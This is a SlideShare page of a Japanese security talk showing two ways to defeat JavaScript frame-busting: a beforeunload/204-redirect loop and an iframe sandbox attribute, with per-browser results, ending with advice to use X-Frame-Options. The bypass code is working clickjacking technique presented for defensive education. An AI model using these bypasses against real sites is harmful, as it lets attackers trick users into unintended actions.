SlideShare une entreprise Scribd logo
1  sur  17
1

今夜分かる
JSによるクリックジャッキング対策
の迂回方法

谷口 隼祐
クリックジャッキングとは?


ユーザを視覚的に騙して、特定ウェブ
サービスの機能の使用や設定変更を意図
せず実行させる手法


攻撃者が用意した罠ページ上に、iframe等で
特定ウェブサービスのページを読み込み攻撃
する

[図の引用]

IPAテクニカルウォッチ 『クリックジャッキング』に関するレポート
http://www.ipa.go.jp/about/technicalwatch/20130326.html

2
JavaScriptによるクリックジャッキング対策例


3

Iframeでウェブページが読み込まれたことをJavaScriptで検知して、ダ
ミーのコンテンツにリダイレクトさせる
<script>
if(window.top !== window.self){
window.top.location = 'http://example.jp/daibutu.png';
}
</script>

上記のJSの対策コードを迂回する方法を2つ紹介します
[参考] Clickjacking Defense Cheat Sheet - OWASP
https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
検証環境で登場するコンテンツの説明
罠サイト
trap.example.com

攻撃対象サイト
example.jp

4

ダミーコンテンツ
example.jp
対策の迂回策その1:迂回方法の説明


5

対策の迂回策:リダイレクトさせない(別名:松岡修造アタック)


リダイレクトしようとしたタイミングで、気合でリダイレクトを阻止する!!
<script>
var prevent_bust = 0;
window.onbeforeunload = function() { prevent_bust++ };
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = 'http://trap.example.com/204.php';
}
ステータスコード204を返すページ
}, 1)
<?php header("HTTP/1.0 204 No Content"); ?>
</script>
対策の迂回策その1:結果(IE)

迂回失敗!
大仏降臨!!

6
対策の迂回策その1:結果(Firefox)

迂回失敗!
大仏は表示されないが、
攻撃対象サイトも表示されず

7
対策の迂回策その1:結果(Safari)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

8
対策の迂回策その1:結果(Opera)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

9
対策の迂回策その1:結果(Chrome)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

10
対策の迂回策その2:迂回方法の説明


11

対策の迂回策:JavaScriptを無効化する


iframeで読み込んだウェブページ中のJavaScriptを無効化する!!
<iframe id="target" sandbox="allow-forms"
src="http://example.jp/Web/Scenario113/VulSoft/sns.php" ></iframe>
iframeでウェブページを読み込む際に、HTML5のsandbox属性を指定する

[sandbox属性の解説の参考資料]

HTML5 を利用したWeb アプリケーションのセキュリティ問題に関する調査報告書
http://www.jpcert.or.jp/research/html5.html
対策の迂回策その2:結果(IE)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

12
対策の迂回策その2:結果(Firefox)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

13
対策の迂回策その2:結果(Safari)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

14
対策の迂回策その2:結果(Opera)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

15
対策の迂回策その2:結果(Chrome)

迂回成功!
iframeで攻撃対象サイトを
表示することができた

16
まとめ

17



JavaScriptによるクリックジャッキング対策は迂回方法があります



クリックジャッキング対策は、X-Frame-Optionsヘッダを使いましょう


なお、metaタグでX-Frame-Optionsを指定しても有効に動作しないので注意!



クリックジャッキングの概要や対策は下記レポートも参照ください
IPAテクニカルウォッチ 『クリックジャッキング』に関するレポート
http://www.ipa.go.jp/about/technicalwatch/20130326.html



過去にも同様の検証をしてます。結果は、下記の日記を参照ください
クリックジャッキング対策の迂回方法を試してみた
http://d.hatena.ne.jp/timepark/20130407
おわり

Contenu connexe

Tendances

html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた
html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた
html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた Shumpei Shiraishi
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」Hiromu Shioya
 
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみたセキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみたLINE Corporation
 
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~Masato Kinugawa
 
(A7)cross site scripting
(A7)cross site scripting(A7)cross site scripting
(A7)cross site scriptingOWASP Nagoya
 

Tendances (6)

html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた
html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた
html5j.orgがHTML5+JavaScriptで Metro Style アプリを作ってみた
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
 
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみたセキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
 
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
 
(A7)cross site scripting
(A7)cross site scripting(A7)cross site scripting
(A7)cross site scripting
 
後期講座03
後期講座03後期講座03
後期講座03
 

Similaire à 今夜分かるJSによるクリックジャッキング対策の迂回方法

機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -Isao Takaesu
 
Webアプリのセキュリティ対策入門(仮)
Webアプリのセキュリティ対策入門(仮)Webアプリのセキュリティ対策入門(仮)
Webアプリのセキュリティ対策入門(仮)pinenet
 
これから始める人のためのjQuery入門 先生:大竹 孔明
これから始める人のためのjQuery入門 先生:大竹 孔明これから始める人のためのjQuery入門 先生:大竹 孔明
これから始める人のためのjQuery入門 先生:大竹 孔明schoowebcampus
 
JQueryプラグイン
JQueryプラグインJQueryプラグイン
JQueryプラグインsayoko miura
 
HTML5 Web アプリケーションのセキュリティ
HTML5 Web アプリケーションのセキュリティHTML5 Web アプリケーションのセキュリティ
HTML5 Web アプリケーションのセキュリティ彰 村地
 
【ネイティブアドを支えるPhantomJS】
【ネイティブアドを支えるPhantomJS】【ネイティブアドを支えるPhantomJS】
【ネイティブアドを支えるPhantomJS】Kengo Shimada
 
Android sdk manual_1.02
Android sdk manual_1.02Android sdk manual_1.02
Android sdk manual_1.02Tomohiro Kondo
 
Android sdk manual_1.02
Android sdk manual_1.02Android sdk manual_1.02
Android sdk manual_1.02Tomohiro Kondo
 

Similaire à 今夜分かるJSによるクリックジャッキング対策の迂回方法 (9)

機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
 
Miyazaki.js vol.2
Miyazaki.js vol.2Miyazaki.js vol.2
Miyazaki.js vol.2
 
Webアプリのセキュリティ対策入門(仮)
Webアプリのセキュリティ対策入門(仮)Webアプリのセキュリティ対策入門(仮)
Webアプリのセキュリティ対策入門(仮)
 
これから始める人のためのjQuery入門 先生:大竹 孔明
これから始める人のためのjQuery入門 先生:大竹 孔明これから始める人のためのjQuery入門 先生:大竹 孔明
これから始める人のためのjQuery入門 先生:大竹 孔明
 
JQueryプラグイン
JQueryプラグインJQueryプラグイン
JQueryプラグイン
 
HTML5 Web アプリケーションのセキュリティ
HTML5 Web アプリケーションのセキュリティHTML5 Web アプリケーションのセキュリティ
HTML5 Web アプリケーションのセキュリティ
 
【ネイティブアドを支えるPhantomJS】
【ネイティブアドを支えるPhantomJS】【ネイティブアドを支えるPhantomJS】
【ネイティブアドを支えるPhantomJS】
 
Android sdk manual_1.02
Android sdk manual_1.02Android sdk manual_1.02
Android sdk manual_1.02
 
Android sdk manual_1.02
Android sdk manual_1.02Android sdk manual_1.02
Android sdk manual_1.02
 

今夜分かるJSによるクリックジャッキング対策の迂回方法